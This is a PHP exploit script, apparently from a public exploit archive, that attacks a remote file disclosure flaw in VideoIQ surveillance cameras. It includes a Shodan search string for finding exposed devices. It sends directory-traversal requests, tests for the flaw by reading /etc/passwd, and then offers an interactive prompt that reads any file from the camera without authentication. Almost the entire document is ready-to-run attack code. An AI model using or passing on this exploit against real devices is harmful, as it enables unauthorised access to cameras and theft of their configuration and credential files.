<?php
# VideoIQ Camera Remote File Disclosure 0day Exploit# # VideoIQ develops intelligent video surveillance cameras using edge video IP security cameras paired with video analytics.## Exploit Coded & Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman) # Date 20/08/2016# Shodan Dork : title:"VideoIQ Camera Login"# Version Affected : All Versions# Vendor Homepage : http://avigilon.com# CVE : N/A# Description : VideoIQ is vulnerable to remote file disclosure which allows to any unauthenticated user read any file system including file configurations.#### Exploit code:
error_reporting(0);
$error[0]="[!] This script is intended to be launched from the cli.";if(php_sapi_name()<>"cli")
die($error[0]);if($argc <3){
echo("\nUsage: php {$argv[0]} <host> <port>");
echo("\nExample: php {$argv[0]} localhost 8080");
die();}if(isset($argv[1])&& isset($argv[2])){
$host = $argv[1];
$port = $argv[2];}
$pack ="GET /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C..{FILE_PATH} HTTP/1.0\r\n";
$pack.="Host: {$host}\r\n";
$pack.="Connection: close\r\n\r\n";while(1){if(strstr(http_send($host, $port, preg_replace("/{FILE_PATH}/",'/etc/passwd', $pack)),'root')){
echo("\nAnonymous@{$host}:~# cat ");if(($file= trim(fgets(STDIN)))=="exit")break;
$ret = http_send($host, $port, preg_replace("/{FILE_PATH}/", $file, $pack));if(strstr($ret,'<title>Error 404 NOT_FOUND</title>')|| strstr($ret,'<p>Problem accessing')|| strstr($ret,'<h2>HTTP ERROR 404</h2>')){
echo("cat: {$file}: No such file or directory");}else{
echo($ret);}}else{
echo("[-] Server likely not vulnerable.\n");break;}}
function http_send($host, $port, $pack){if(!($sock = fsockopen($host, $port)))
die("\n[-] No response from {$host}\n");
fwrite($sock, $pack);
$response = explode("\r\n\r\n", stream_get_contents($sock));return($response[1]);}
?>
